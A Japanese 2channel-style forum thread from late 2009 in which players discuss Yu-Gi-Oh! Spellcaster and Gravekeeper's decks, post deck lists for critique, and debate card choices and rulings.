>>170 フレムベルがいるからレベル8がでたところで…
>>172 今レベル2の非チューナーはどれも微妙じゃないか?
>>171 レベル2なら見習いを利用すればかなり早く落とせるんじゃね?
175 :
156 :2009/11/13(金) 23:07:06 ID:TdWD1Mdg0
遅れてしまってすまない見てくれた人ありがとう。
>>157 流石にピケルは…w
>>158 コンダクターからアーカナイトにつなげるために風水師にしてみたんだが
やっぱり変えたほうがいいんだろうか?
誘惑は手札ロスが激しいから入れた。水晶とも迷ったけどカウンター貯められる誘惑したけど
変えるべきなのかな。ちょっと変えてやって見る。ありがとう。
>>159 執念は見習いから繋げられるようにと思って入れた。
結構いい感じなんだが変えたほうがいいんだろうか?
地砕きは抜くけど…神官は使いやすいよ、カップ麺は意外とライフ消費が意外と厳しくてねw
>>162 ブレイカーは確かにライラのほうがいいかも…でもデッキが削れて行くのって結構きつくないか?
意外とライフ消費が意外と厳しくてねって日本語でおkwwwww
大神官の破壊態勢は永続効果だよね?
魔力カウンターならライラよりブレイカーだろ エンディミオンのカウンター使えるんだから チューナーに関しては自分で使いやいのを選べばいい、無理に変える必要はないよ
大神官と末裔と石版のプロキシ入れた墓守デッキを作ったんだけど、晒して良いか?
発売したとはいえ回してからのほうがいいと思うよ
>>180 既に何回か回してる
それなりに安定してると思った
テンプレに従って晒すならプロキシだろうが何だろうが問題ない(発売前とかは流石にあれだが) 前と違って今このスレでは事前の断わりもとくにいらんぞ つか、一度テンプレに目を通しておけ
【墓守】 モンスター×19 上級×4 墓守の大神官×2、墓守の長×2 下級×15 墓守の司令官×3 墓守の暗殺者×2 墓守の末裔×2 墓守の長槍兵×2 墓守の偵察者×3 墓守の番兵×3 魔法×15 一族の結束×3 大嵐×1 王家の眠る谷-ネクロバレー×3 サイクロン×1 地砕き×1 テラ・フォーミング×1 墓守の石版×2 罠×6 激流葬×1 降霊の儀式×1 聖なるバリア-ミラーフォース-×1 奈落の落とし穴×2 魔宮の賄賂×2 偵察者や番兵で牽制しつつサーチカードでネクロバレーを持ってきて 各種アタッカーや大神官・長で場を制圧していくデッキ。 モンスター切れや大神官をサポートしたくなったら石版で回収。 とりあえずこれでも負けるデッキには負けるからもっと長所を伸ばす方向で見て頂きたい
今回魔法使いはレアとかスーレアばっかだな 黒薔薇の魔女ちゃんが当たりますように
なんで特殊召喚出来ないようにしたんだろ…魔法使いのシンクロにしか使え ない縛りでよかったのになぁ。
186 :
名無しプレイヤー@手札いっぱい。 :2009/11/14(土) 20:56:56 ID:h6ti4dST0
手札消費が激しいんだが皆どうやって回復してる?
>>186 プレイングの問題
だいたい今の環境って手札入れ替えだけで、増やすのはほぼ無理だし
>>185 黒薔薇の魔女はアニメ出身だから
仮にシンクロ先縛るとすると植物になるぞ
墓守の大神官と末裔強いけど・・・ スキドレ墓守の牙城を崩すほどではないな
海外ABPFの81番に墓守カードがくる予定 ドローカードなら申し分ないが81番てのはモンスターがお約束になってるから望みは薄い
どうでもいいが、新規確定ってだけで81番確定なんて何処にも出てないぞ
墓守に必要なのはドローカードより専用カウンター
現役復帰したけど魔法使いも知らんカード増えたな。 廃れてなくて良かった
>>183 奈落x2よりも降霊の儀式x2~3のほうがいい。
テラフォ→王家の生贄
末裔1→賄賂
長1→トレードイン
サイドで
群雄割拠x3はオススメ。
フレムベル等のレベル4チューナーを入れてシンクロ墓守にスイッチってのも
面白いと思うよ。
DTで収録が期待できるテーマが氷結界だけってのはキツいな
手札増やせるのは通常と天使くらいだよな・・・
>>183 そういや、誘惑って入れんの?
司令官が地属性だからダメなのか?
診断お願いします 上級×3 ブラックマジシャン×1 ソーサラー×1 氷の女王×1 下級×17 熟練黒×3 コンダクター×1 カイクウ×2 ライラ×1 墓守の偵察者×2 墓守の番兵×1 ブレイカー×2 ディフェンダー×3 魔法×19 里×3 魔力掌握×2 誘惑×2 ディメンション×2 サイクロン×1 大嵐×1 洗脳×1 貪欲な壷×1 収縮×2 エネコン×1 ライボル×1 一族の結束×2 罠×3 お触れ×3 一昔前の里ビートです。 相手の罠で戦力を削られるのを防ぐために除去を魔法頼りにしています。 回した感じビートダウン的で安定はするのですが、現環境ではカードパワーが弱い感じが… また里を阻害するためシンクロは外しました。本当はいれたいんですけど… 抜くカードと入れるカード、デッキ全体の打撃力上昇、そして里を阻害しないシンクロには何を入れればいいか? そんなアドバイスが欲しいです。 どうか診断、よろしくお願いします
200 :
199 :2009/11/16(月) 01:30:59 ID:/DAoG6WVO
追伸 里を阻害しないシンクロではなく、里を阻害しないよう魔法使いシンクロを呼び出すにはどんなのがいいか そしてモンスターを罠以外で守るには何を入れればいいか という診断もお願いします
里ビートに魔力カウンター関連はいらない、ブレイカーとディフェンダーはありだが リバース必要な墓守も同じく不要 除去を魔法頼りというがその魔法がディメマとライボルだけってのはどういうこと? 結束も入れるなら3積み、収縮は結束入れるならいらない、変わりに地割れ地砕きでも入れればいい 基本里ビートは相手モンスターを魔法・罠で除去してビートダウンしていくデッキ お触れで自分モンスター守るくらいならこっちも罠で除去した方がいい ディフェンダーもいるからそこまで罠を恐れることはない シンクロを使いたいならアーカナイトでもエクスプローシブでもテンペスターでもお好きなのをどうぞ 正直他にも色々つっこみたいんだがまずはwikiで里ビートの所見るなり、デッキレシピ検索するなりしてもっと勉強した方がいいよ
里はメタビ構成にするのが一番活きると思う
結局太陽の神官使ってる?何回かトリッキーとチェンジして使ったけど結束ならトリッキー、 シンクロメインなら太陽の神官って結論だった
別モンだと思ってる 死んだ時のリクルート能力とか、別のが墓地から拾ってくれるのが結構強い 冗談抜きでバニラとして使うのはもったいない 入れるならチューナーごと変えたほうがいい
>>201-202 診断、ありがとうございました。
モンスターを生かして戦うことを中心にしようとしたのですが、それでは戦えないということですね…
もう一度練り直してみます
ここまで無欲の壺の話題はなし。
もくじサーチもくじ×2→無欲もくじ2枚→もくじサーチもくじ×2→もくじサーチワールド発動 で手札2枚で7回魔法を発動できる 墓地に星2魔法使いチューナーと先生A、フィールドに都市と先生Bがあれば上の7回発動した時点で先生B(14)都市(7) 先生Bで先生Aを蘇生して、都市から魔力借りて先生Aでチューナー蘇生してテンマジシンクロ この時先生B(10)都市(5)テンマジ(1)で合計16個の魔力でぴったり8000ダメージ
机上の空論だな 先生も掌握も入ってるけど都市はもう抜いたわ。邪魔になるだけ テラフォと合わせて5枚前後スロット取らなきゃいけないし、破壊耐性のせいで2枚目以降が腐る かと言って枚数減らせば引けない 魔力残してターン渡すとテンペスター出されて利用される もはやデメリットの塊 腐ればトリッキーとかサモプリのコストにすれば良いって言う奴いるけど、腐るの前提で入れてどうするよ
魔力カウンターデッキに都市無しとは中々聞かないね 俺は都市2テラフォ1にしてる もくじに掌握のデッキ圧縮があるから結構引けるし これだけ少なければあんま腐らないし引けたら強いからこれで安定してる
>>208 都市無しってことはカウンターは先生頼り?
先生なんて数ターンももたないからそれだときつくね
どういう構築やプレイングしてるのか気になる
>>208 そうかな
wikiに載ってる手札を7枚以上消費するやり方の方がよっぽど非ィ現実的だと思うけど
魔力カウンター軸ではないかもな。結束入れてるし 魔力カウンタービートって感じ 打点上げて何か魔法打って墓地からナイトエンド→トリッキーとシンクロとか 上の魔法が簡易だったり シンクロで魔法使い以外を出すこともあるし相手の邪魔とか考えてメインから解放入れてたり
>>211 5グラムの青酸カリでも10グラムの青酸カリでも結局毒だ
wikiもお前のも程度の差で結局変らん
>>208 トリッキーとサモプリがエンディミオン捨てるためだけに入れられてると思ってんの?
まぁ実際都市の5スロットは超速環境では無駄だよ、ブリュも簡単に出てくるしなー。
>>214 どういう風に読めばそうなるのかちょっと理解できない
サモプリはともかく、都市捨ててトリッキー出すならチューナー落として釣り上げた方が効率的
>>209 みたいに少ないスロットに抑えるなら腐ってもたかが知れてるけど
5枚前後入ってれば多くが腐るしせっかくの圧縮も誘惑も2枚目3枚目の都市を引くだけで終わる可能性が出てくる
都市使ってる人に聞きたいけど、魔力残してターン渡してる?
ブリュとかテンペスター出されることにどう対応してる?
魔力カウンターが勝ちきれない理由の一つに余計なものを引きすぎるってのはあるけどね 初手都市2枚とか、掌握2枚とかだったらこっちハンド1枚少なくスタートに等しいし 安定度って意味ではやっぱり他より落ちる けどそれをひっくるめて魔力カウンターだと思うけどねぇ 魔力カウンターに限らずシナジーで勝つデッキはどうしょもなく抱えてしまうジレンマ
安定して勝てるデッキを目指してたら【シンクロマジシャン】になってたなぁ いやデッキ名なんてどうでもいいんだけどさ
>>218 俺は魔法と魔法使いだけの【マジック&ウィザーズ】になってたわ
中身は前述通りだしシンクロは他の種族使うけど
俺は【サイキックマジシャン】だな 最初は純魔法使い族だったんだが 科学の波が魔術を浸食していく
都市:テラフォーミング=2:2にしてる。 3:2より事故は少ないし、圧縮・カウンター貯めも出来るから、3:1よりお勧め。
2:2が圧縮のメリットがあるように、3:1にも相手が下級魔法使い(ライラ、ブレイカー、偵察者)から テンペスターを出せるタイプが相手の時、魔力カウンターを貯め過ぎた都市をセットで 壊せるメリットがあるから一概にどれが良いとはいえない
単純に相手との張り替え合戦にも強くなるな 自分、相手に関わらず3枚張れるってのは、まあメリットだな
俺トリシューラがでたらサニピク入れるんだ
結束魔力カウンターつくったらキツキツになっちゃった エンディミオンと氷の女王が確実に要らないけど かっこいいから抜くに抜けないんだよな
ネクロバレーで黄泉ガエルの蘇生を阻止できないのかよ\(^o^)/
ネクロバレーは黄泉に限らず スタダの自己蘇生やらゾンキャリの自己蘇生も止まらなかった気がする
まぁそのおかげでスタダでバレー等を守る墓守シンクロというデッキがある訳だしな DDクロウが多い日も安心
そこでジョウゲンですよ
マジカル地縛神って電波を受信したんだが
小さな地縛神が魔法少女ばりにクルクル回って登場しているシーンが瞬時に沸き立ったそのネーミングセンスに乾杯
「こかぱく☆こかぱく☆さてぃすふぁくしょん!満足になーれ」
6人いるのかw>マジカル自縛神
>>233 7人な
ウルがレッド コカライアがグリーン クシルがイエロー 満足がクロ
他しらね
マジコンからデビルズサモナー蘇生してスーペルからコカパプ出してくデッキ スーぺルがクルセイダーとかとシナジーしたりコカパプ用に埋葬、誘惑、洗脳とかいれてるし テラフォで陵墓と都市使い分けたりできたり月の書でライラからフィールド守れたりとかいろいろシナジーがあって 強くはないけど使ってて楽しいぜ
>>198 墓守はある程度墓地が肥えていた方が強い。
そして墓守は無駄に捨てるようなところは無い!(※注偏見含む
そういうわけで闇属性カードを除外してしまう誘惑はあんまし入れない。
墓守は墓地に影響を与えるようなカードはあっても除外をどうこうできるカードは
ないからね~。
クルセイダー・オブ・エンディミオンがあんなに高いのなんで? 使えるから? ・・・そんなに使えるか???
使えないだろ なんのデッキに入るの?あれ
アナザー・ネオスと一緒に入っているデッキが存在するね。 デュアル・スパークやオネストの共有できたりして良い感じ。 惜しむべきはバニラアタッカーとして運用しなければならないことorz
墓守デッキにサークル三枚ってやり過ぎかね? けっこう暗殺者とかで攻撃できるし、呼び出せるの多いから 普通の魔法使い族よりは使う機会多いと思うんだが あと、長・・・使ってて強いのか弱いのか、分からなくなってきた
罠だと遅い ただでさえ遅いのにおまけに発動トリガーまである 悪いけど今のカードプールでトリガー発動の罠が3枚入るってなら それはけっしてトップ環境ではない
大神官を墓守以外に使えないかなと思ったけど 所詮偵察者程度しか積んでないデッキにトレイン誘惑と共にぶち込んだだけに終わった
あーあ太陽の神官が欲しかったのに当たったのは墓守の大神官か… でも大神官のイラストかっこいいな墓守組もうかな ネクロバレーってやっぱ三枚必須?二枚ならあるけど
んなもん構築によるに決まってるだろ 責めてその手の質問は最悪大まかなレシピぐらい載せてから訊け 組む前に丸投げすんな
おーこわ
墓守はネクロバレーなきゃ始まらないからそりゃ3枚必要だろう
>>246 フィールドサーチモンが居るから2舞でも十分回るがな
つか、都市とかかもそうだけど、引けないこともあるし、相手もフィールド使うなら貼り替えられもする
なきゃ始まらないは間違ってるぞ。あると強い、でも無くても回るって組まないと話しにならん
何より結局あんなもん貼れてたら2枚目以降は腐るからな
つってもまあ、あくまでこれは俺の構築だな
上でもフィールドのこと話してたけど、3枚だとその貼り替えに強かったりするから
3枚が悪いわけでもない、結局デッキによる
今回も氷結界の魔法使いは地味だな
とりあえず3枚必須でいいと思う もちろん別に2枚でいいという人はそれで回せばいいと思うし
ダブればサモプリいるし…
>>250 それはつまりデッキによるってことじゃん
あらかじめ枚数減らしてなるべくダブらないようにする
多めに入れて素早く引きつつダブった時のフォローも考える
ベクトルが違うだけでどちらも利に適ってるし、構築の基本概念だ
こんなもんに優劣付けようとしてる奴はアホ
大神官やら新カード活かすためにはスキドレ墓守崩さなきゃならんけど 神宣が制限でもやっぱスタダで守れるし安定するんだよなぁ
歯車街やヴィジョンとかは手札にだぶっても腐らないんだけどな
そういやスキドレバルバみたいなデッキが優秀してたけど神宣が3枚だったらもっとやばかっただろうな
腐ったカードの処理の方法 魔法使い族スレでは 腐った魔法サモプリのコストにすれば良い HEROスレでは 手札で腐っていても超融合のコストにすればいいよ!
チューナーは何にしてる? コンダクターから釣れるナイトエンドや風水師か 緊急テレポートからサーチできて単体でも優秀なクレボンスやサイココマンダー どっちにしようか迷う むしろ単体でも優秀な魔法使い族チューナーが欲しいよ…
黒薔薇魔女は自壊が無ければ良カードだったんだけどな…。
>>255 最悪腐った超融合は超融合のコストに出来るからな
カウンター軸でも腐るような魔法カードって入れるか?
魔法使い☆4には既にフレムベルマジカルがいるから黒薔薇魔女はね・・・
フィシアリストの効果は相手ターンまでもたないからなぁ
今からエンディミオンデッキ作ろうと思うんだがアカナイ/バスター軸って今どうなの?
今も何も、/バスターで成果をおさめたのって星屑しか無いし
バスターモードは浪漫
>>262 俺もフレムベルマジカル使ってるけど良効果のチューナーとは言えないからな~。
相手が奈落伏せているの分かっているときに、
フレムベル→アーカーナイトってやるのは楽しいがw
>>268 魔法使いデッキでとういう流れを経て相手の魔法罠リバースが分かったんだ?
しかも何か頻繁にあるような書き方だし
アカナイ防げるの月の書か脱出か激流ぐらいだしな 罠少ないデッキだと前者の2枚は採用数少ないし伏せてた2枚を割れる機会とか多いと思うよ
っで
>>268 はどうやって相手のリバース情報を手に入れてるんだ?w
後ろに壁役でも置いてるのか?
まあ、妄想で書いたんだろうけど
そもそもアカナイ出す為にプレイするチューナーなんぞ ほぼ奈落には引っかからないからな(実用性まで考えるとベルンぐらいか?) 楽しくネタを提供しようと思ったんだろうけど、もう少し考えて書くべきだったねw 【でも4つ星だけどATK1400ってのは奈落回避のメリットだな 3つ星の魔法使いが場に残ってる時奈落を気にせず出せて アカナイで割ってみたら案の定奈落だったときは楽しいw】 こんな感じで書けば一応突っ込まれなかったんじゃね?ww
ウィルス師匠デッキなら割と伏せは把握できたな ピーピングしてんだし
>>273 逆言うとそれぐらいしか把握する方法はないわな
>271 先行1ターンに王家の生贄とかダストシュートしたら分かることもあるだろう。
友人とやってるなら大体魔法罠ぐらい把握してるだろ
>>276 内容把握知るからってセットが完全分かったら拙いだろw
278 :
名無しプレイヤー@手札いっぱい。 :2009/11/19(木) 19:27:17 ID:nQ9XWP5n0
セットカードのパターンなんて大体把握できるから なんでそんなのもわからないの
>>278 予測なんて誰でもしてるだろks
でも完全になんて読めてたまるかよ
制限のミラフォ、準制の奈落それを毎回シャッフルして
ゲームするんだから、相手が引かない時もある
相手が引いてない時も完璧に把握できるとでも言うのか?w
そもそもどこから友人が出てきたんだ
大体わかるって言ってんだろ 誰が完全って言ったんだ
つか、毎回予測してそれが当たるってなら友人ヘボ過ぎだなw それやってて楽しいのか? 散々ビビって色々躊躇したけど、結果カップ麺でしたwとか良く有るけどな むしろ、それも含めて遊戯王は面白いw
>>281 お前誰と闘ってるの?
つか、流れ理解してないでレスしてるのか?
上の流れで大体分かるなんてレス意味ないぞ?
もう少しちゃんと読め
このスレ質悪すぎだろ
285 :
268 :2009/11/19(木) 20:40:34 ID:tyRAq6QS0
>>275 の生贄が正解。
他に魔デッキで手札とドローカード把握して判明とかがある。
ちなみに、チューニング先は呪術師だw
弱そうなデッキだな…
無駄に煽ってたやつは謝っとけよ
>>284 たまに変なところで頭堅い奴がいるからな
民度が低いと言われても仕方ない
>>286 は墓守使ったことないんだろうな、☆3墓守は呪術師と従者しかいないってのに
無駄に煽ってたやつ恥ずかしいな
>>288 呪術師を入れてまでアーカナイトを使うの?墓守って
墓守でアカナイ出したいならゲイルでも入れとけよ 結束なら風水いれとけ
>>289 それなりに魔法使い入れてるデッキならアーカナイト入れてて困ることはないだろう
まぁつまりデッキによる、俺はシンクロ墓守だから
>>291 ゲイルは入れてるけど風水師はないわ、サーチ・サルベージ・強化とサポート豊富な墓守の方が優秀
☆6出すには呪術師が必要だし
あくまで俺が使ってて思ったことだが
>>289 他の墓守使う人はゲイルとかだと思うけど、俺は呪術師だ!
そもそも墓守デッキはバレーを守ってこそのデッキ。
普段はスタダを出して対応してるからチューナーはレベル4だけにしてる。
そして、どうしても戦闘破壊出来ないような敵には、
番兵のバウンスやアーカーナイトの効果で破壊する。
それに呪術師には、召喚・反転召喚・特殊召喚時の500のダメージがあるが馬鹿にしてると
裏守備の偵察者で反射ダメ後や、相手のライフがわずかな時の降霊の儀式からの
特殊召喚が止めになるケースもある。(前は死デッキの贄にも出来た!)
あくまで主役は墓守です。
呪術者は一枚差ししておくと、時々 思いもよらない働きしそうだな、呼び出す方法は多いし 良し、シンクロ墓守作ってる最中だから、一枚入れてみるか
ふと思ったが、墓守にダムドって入るかね? 石板とかで調整楽だし、長がいれば墓地除去も可だろうし 最悪2800のアタッカーをいきなり出すってだけでも、使えるんじゃないかと思ったんだが
テキスト嫁
ネクロバレーとかち合わない? プレイングでなんとかできるならいいけど
あり? 「ネクロバレーはダムドの効果は使用できなくなるが 手札からの特殊召喚は、墓地の枚数を数えるだけだから、干渉できない」 ってwikiにあったんだが・・・間違ってたか?
いや、バニラとして使うなら別にいいんだけど
長はともかくとして、ネクロバレー割られた時用の 反撃要員的な事を考えてたからなぁ まあ、実際入れたら特殊召喚可能な2800のバニラって 使い方が一番多くなりそうだが ・・・自分でバレーにサイクr
無理に入れるカードではないな
墓守にはダムドより相性がいいスキドレバルバ、スタバが居るからなぁ
大神官とダムドは相性悪い
>299 単純に火力として考えるなら昔はロンファ3ティタニエル1ってのも使えたのだけど、2の1だと割りに合わないなー。
>>304 ダンディライオンとかオススメ。
手札で腐っても壁やコストに使えるし便利だよ。
それにしても簡易が腐る。
デッキにチューナーが5体や6体いても腐るorz
簡易は大して腐ったことないな 都市や掌握は多々あるけど
来なきゃ困るが事故率がひどいテラフォ都市はもうどうしようもない
ちょっとデッキ診断お願いします 魔力カウンターデッキです 枚数40 モンスター20 カオスソーサラー サモプリ 熟練2 マジコン3 ブレイカー2 ディフェンダー2 風水師2 見習い3 フィシアリスト2 水晶の占い師2 魔法14 都市2 テラフォ 簡易融合3 掌握3 強制転移 結束 大嵐 サイクロン エネコン 罠6 激流葬 魔法の筒 ミラーフォース お触れ3 エクストラ アーカナイト テンペスター エクスクローシブ 音楽家 カオスウィザード アーカナイトや下級でビートしつつ、ライフを半分ぐらいにして 最後にテンペスターで一気に決めるっていうコンセプトです 回した感想として、どうも遅いです 思った通り動かない 勝てたとしてもコンセプトとは全く違う勝ち方だったり… もともとトゥーンの目次も採用してたんですが安定性がないのでやめましたが、 その分爆発力もなくなってしまいました
>>308 エクストラって5枚だけ?
もうちょっと枚数がほしいし、他のシンクロモンスターを入れたほうがいいよ。
サモプリは先生を呼ぶために入れているんだろうけど、
自分個人としてはフレムベル・マジカルを入れたほうが生きてくるよ
デッキを見た感じ、皿と水晶がいらないと感じる。
罠に関してだけど、お触れ+ミラフォか奈落などのアドを取れやすい罠を入れたほうが良い
それかいっそバーン特化 筒と停戦協定のみ採用してこの2枚3000~4000与えるようにするとか
これから大会だから墓守でライロぶっ倒してくる
>>309 エクストラが少ないのは財力のせいですw
少しずつ増やします
カオスソーサラーは結構役に立ってるんですけどいらないでしょうか?
水晶は確かに抜ける候補として1番かもしれません
>>310 王宮のお触れがないと奈落や激流葬と怖すぎるものが多いのですが
抜いちゃって大丈夫なものでしょうか
確かに停戦協定は使えそうですのでいれて見ます
何のためのディフェンダーさんだよ
お触れはマジおすすめしない
>>312 その構築だと光属性が少なくて出しにくいから、皿は要らない。
皿2枚に入っていて、モンスターが24枚中光:闇;その他=6:12:6
のデッキを使っている俺が言う資格はないのだろうけどね。
結束もピンならいらない。入れるなら2枚以上
罠は転生の予言、ミラフォ、ダスト、奈落、パワーストーン、リビングデッドの中から調整かと。
激流葬や奈落が怖いなら我が身の盾を入れてみることもすすめるよ。
>>311 同志発見。
俺は新カード入り純墓守で凸ったけど二回戦敗退だったよ
ここらへんはそんなに酷い環境じゃないけど大会の壁は厚かった
相手は植物とか混ぜたライロ
谷が割れた途端アマリリス三体蘇生はひでぇ
>>316 俺も二回戦敗退だった・・・・
ゴヨウ強すぎ・・・・
>>317 ゴヨウの効果なんてバレーの効果で無効化DAAAAAAA
大神官の能力ならゴヨウすら屠るのはわりと容易DAAAAAA
>>316 お疲れさん、純墓守とはまた古風な…
谷崩されれば爆発するのは目に見えてるんだしカイクウ必須じゃね、とか思ったり
墓守つかってて思ったんだが、大神官って神宣に対応できるのか? 召喚→神宣の神宣の処理あとに、効果発動か 破壊耐性はスペルスピード2で発動不可? 初心者でスマン。
>>315 我が盾か、そうだ我が盾があったか
ありがとうございました
>>320 神宣とかカウンターの段階では
基本的にモンスター効果によって破壊の身代わりはできない
理由としては、「まだモンスターがフィールドに出ていることになってないから」
これであってると思う
>>322 返信有難うっす。やっぱスタダと同じタイミングか。
結束墓守に氷結界の風水師積もうと思うんだがどうだろう
>>324 シンクロ狙いだったらフレムベルマジカル3積みの
呪術師積みの方が使い勝手が良いと思う
500ポイントバーンは地味に役に立つと思うし
新参が墓守デッキを作ってみたんで見てくだせぇ。 上級モンスター4枚 墓守の大神官3 墓守の長1 下級モンスター18枚 墓守の偵察者3 墓守の暗殺者2 墓守の長槍兵2 墓守の司令官3 墓守の番兵3 墓守の末裔2 フレムベル・マジカル2 メタモルポット1 魔法カード13枚 王家の眠る谷-ネクロバレー3 墓守の石版3 ディメンション・マジック2 月の書2 サイクロン1 大嵐1 光の護封剣1 罠カード 9枚 降霊の儀式3 マジシャンズ・サークル2 激流葬1 聖なるバリア-ミラーフォース1 魔宮の賄賂2 計44枚。 エクストラデッキはスタダなど。 ややこしいことは好きじゃないので、墓守の展開力に任せてガンガン攻める感じに作ってみました。 大神官は墓守が沢山来ないと活きてこないと思ったので墓守多めです。 カイクウとかサモプリとかやっぱり必要…? wikiとか見てもメタ要素がないと勝てないっぽいこと書いてあるし、群雄割拠とかアリかなぁ… 呪術師一枚入れてみるのも…。 どうか紙束とか言わないでアドバイスを
回した感想を忘れていた…。 まだ数回しかやったことはないんだけど、 手札にモンスターカードしか来ないことが多々。 偵察者も末裔も来ないときは泣けます。引きが悪いだけ…? ネクロバレーをスタダで守れるのはいいけど戦闘破壊されるとどうしようもない。 全体的に押され気味感がしました。
>>328 ファン縛り?縛りじゃないならシンクロかメタ方面に固めたがいいと思う
割拠とか考えているのでとりあえずメタ方面に
今の環境だと割拠じゃ安心できないからスキドレオススメ。
次元+スキドレより拘束は弱いけど広範囲に刺さる。
スキドレ墓守あたりがいいんじゃないかしら?
スキドレ墓守も考えたのですが、バルバロスとスキドレの価格にノックダウン。 ローコストで考えた結果です。 シンクロに固めるとすると、マジカル3は絶対でしょうか。 それだと☆8シンクロしか出せないから呪術師か…。 どうにかしてムカつくあいつの歯車街やライロに一泡吹かせてやりたい。
>>330 身内かつ低予算でライロに勝つ構築するならメイン閃光ミラーでもいいと思うの
歯車なら奈落は欲しいですね。値段がちょっと張りますが弾圧があるといいかも
システムダウンとか酸の雨とかピンポイントで嫌がらせできるだろw
いえ、ときたま大会に行くと毎回そいつがいましてですね…。 当たるといっつも負けてしまう。 いつの間にか奴に勝つのが目標になっていたりします。 閃光を吸い込むマジックミラーは…身内では光使う人あまりいませんしねぇ。 弾圧も奈落もいいなぁとは思うけれども、 どれを抜くか迷って結局そのまんまってのが多くて困ってます。
>>333 ちょっと難しいですね。まずはいろんなカードを試すのが一番いいのでは?
割拠にしろ、奈落にしろ
個人的意見だと out 番兵1 石版1、光の護封剣1、降霊1 サークル2 in サモプリ、地砕き、ライボルorつり天井、神宣 かな 全体的にバッグが薄く感じられる。 除去カードを何枚か積めば安定するかも。 デッキのコンセプトとかみ合わないのでオススメしかねるが次元バレーもあり。 ライロ、クロンデ、ライロアンデ、魔轟神、墓地BFを潰せるから評価できる。 ただ、魔轟神以外はメインからガイウスが入っていることがあるので注意しないといけない。
とりあえず谷を守る為に神宣賄賂はフル積みした方が良い あとガン攻めしたいならメタポとシンクロを抜いて結束入れてみるのも手 最近の大神官と末裔のおかげで突破力も上がったから、 この構築にした場合相手の態勢が整う前に展開して殴りきる感じになるかな。
>>335 >>336 サモプリは持っていないので、安いのを探してみます。
制限カードなんで単価は少し高くても大丈夫なのがいいですね。
サークルは必要ないでしょうか?簡単に大神官を召喚できるのでいいと思うのですが…。
番兵1、石版1、護封剣を抜きます。あまりあっても仕方ない。
とりあえず宣告を投入、賄賂は二枚しか持っていない…。
その分を地砕きやライボルで埋めてみます。
メタポ・マジカルを抜いて結束もいいですね。結束を一枚も持っていないので、
手に入ったら考えて見ます。
素晴らしい意見をありがとうございます。なんか楽しくなってきました
デッキを考えながら構築してる時が一番楽しいよな
墓守は新規カードのお陰でデッキ構築を悩めるようになったのが最早嬉しい
ところで石版は墓守中心のデッキならほぼ三積み確定じゃないのか?
ネクロバレー割られても、司令官回収→ネクロバレーサーチとか素晴らしいぞ?
ライボルとか天罰も入りやすいから
>>337 も地砕き地割れは入れずに済む気がする
あと最近は神の宣告1賄賂3よりも、神の宣告1賄賂2天罰1~3の方が強いと思う。
>>338 個人的には3枚が安定だと思うけど、
>>手札にモンスターカードしか来ないことが多々。
偵察者も末裔も来ないときは泣けます。引きが悪いだけ…?
この文面を見る限り、
>>337 の場合3枚も入れると石版がくさりやすいんじゃないかなと思った。
>>337 上の文面と被るけど、そちらの引き具合だとモンスターがあまり引けないから、
殴ろうと召喚した時に奈落とかで妨害されたりして、サークルが腐るかとなと思ったから。
ただ、コレは俺の主観だから抜かなくてもおk
>>327 とりあえず、王家の生贄を入れろ!!!
カルートもオネストもゴーズもドラゴも皆まとめて墓地行きだ!
そして、クリッターはかなり重要だ!大抵の墓守をサーチできる。
それと、モンスターを呼ぶ手段が多すぎると思う。
長1・偵察者3・ディメマ2・サークル2・降霊3
そんなに特殊召喚してから攻撃に繋げたいのなら、上記のカードを少し削って、
さらに3積みモンスター増やして地獄の暴走召喚は面白いぞ。
何せ今は末裔という優秀なカードがあるからねw~
バレー張ってあると暴走できねえ
>>341 墓地にあるカードは特殊召喚出来ないが、デッキ手札のモンスターならいける。
さらに、長をアドバンス召喚→長の墓地の墓守を特殊召喚→暴走
ってやれば問題なく行ける・・・。 自分の墓地をあけることになるが。
それでも暴走できるのは番兵ぐらいだし
呪術師や従者もいるけど、暴走する旨みは無いよね。
墓守楽しそうだな、作ってみようかな 魔力カウンタービートが最近マンネリ気味になって迷走してたもんで
夜になって来て見たら凄いレス来てて吃驚したw サークルは相手も出てくるから鬱陶しいので控えます。 その分王家の生贄を入れて…。サモプリを使いやすいようにできます。 王家の生贄は何枚がいいだろうか…。 ウイルスカードと変わらないウザさがあるし、2枚くらいいれますかねぇ。 あと。地獄の暴走召喚は高いんだ!
よく考えたら王家の生贄滅茶苦茶使えるじゃないか…! 手札に石版あればモンスター消える心配もないし。 ただ一枚か二枚か…。 ところで、墓守の監視者ってどうでしょ。 ブリューナクは消せるんですけど、「カードを捨てる効果を含むカード」って手札コスト含まれないとか…。 あー惜しい。
王家の生贄とマイクラ指名者楽しいぜ。 生贄でピーピング+モンスター墓地送り、あとは適当なカードを指名してやれば 勝てる。
先行生贄はガチで強いと思う ・・・暗黒界に当たったら、諦めようw
ネクロバレー張ってるしな。 相手の初手のモンスター封殺とかダストシュートが霞む強さ。
生け贄は優秀だけど使うタイミングが難しい感じだ。 初手に来れば強いんだけど後半だと互いに手札を消耗してて意味ないことも多いし。 魔デッキと役割が被るのも考え物。 勝ってるのはトラゴ、ゴーズも落とせるのと状況次第ではディスアドが無いことか。 ちなみに俺は生け贄入れないでその分汎用カードを入れるという案に落ち着いた。 …見返してみると墓守の話題相当続いたなぁ。
>>351 おれは誘惑生贄3積みで序盤に発動すること前提だな。
腐りそうならスキドレ軸じゃないからケイローンなりサモプリに食べてもらう。
脱出装置も相性いいし
身内で週末やった時、初手に下級1枚も来ない事故した時に生贄さんに助けてもらった。 こっちは上級1枚、相手は4枚捨てて怒ってた。 ちょっともう生贄は抜けないかな。
イロンデに生け贄って刺さる?
>>354 刺さる
リクルやガイウス、トラゴ落ちたら何もできない
ネクロバレーで蘇生も無理だし
356 :
名無しプレイヤー@手札いっぱい。 :2009/11/24(火) 16:21:08 ID:AwA7szqT0
今まで純粋墓守は平和の使者が刺さってたけど末裔のお陰でなんとか 谷あるから大嵐入らん
個人的に大嵐よりハリケーンお勧め 末裔って、何枚くらい刺した方が良いんだろうか? 枠的には除去魔法とどっちを入れるかって感じになるんだが、 どっちの方が優先度高いかな?
王家の生け贄はまじで強いと思うよ。
生け贄→石版はやってて楽しい
あと意外にネクロバレーのお陰で死者転生を封じれたりするのが更にいい
まぁ二枚くらいが安定だけどなw
>>357 俺は二枚かな
ピン挿しだと幽閉orガイウスされると困るし、三枚は事故る
除去魔法はそんなに要らないんじゃないか?
むしろカウンター中心が好きな俺
先攻偵察者セット司令官捨てネクロバレー発動生贄発動で 相手が手札全部墓地送りになったときは脳汁出た。 相手何もできなくて次の自分ターンに攻撃したらゴーズ出されたんだけどね。
相手シルミルか
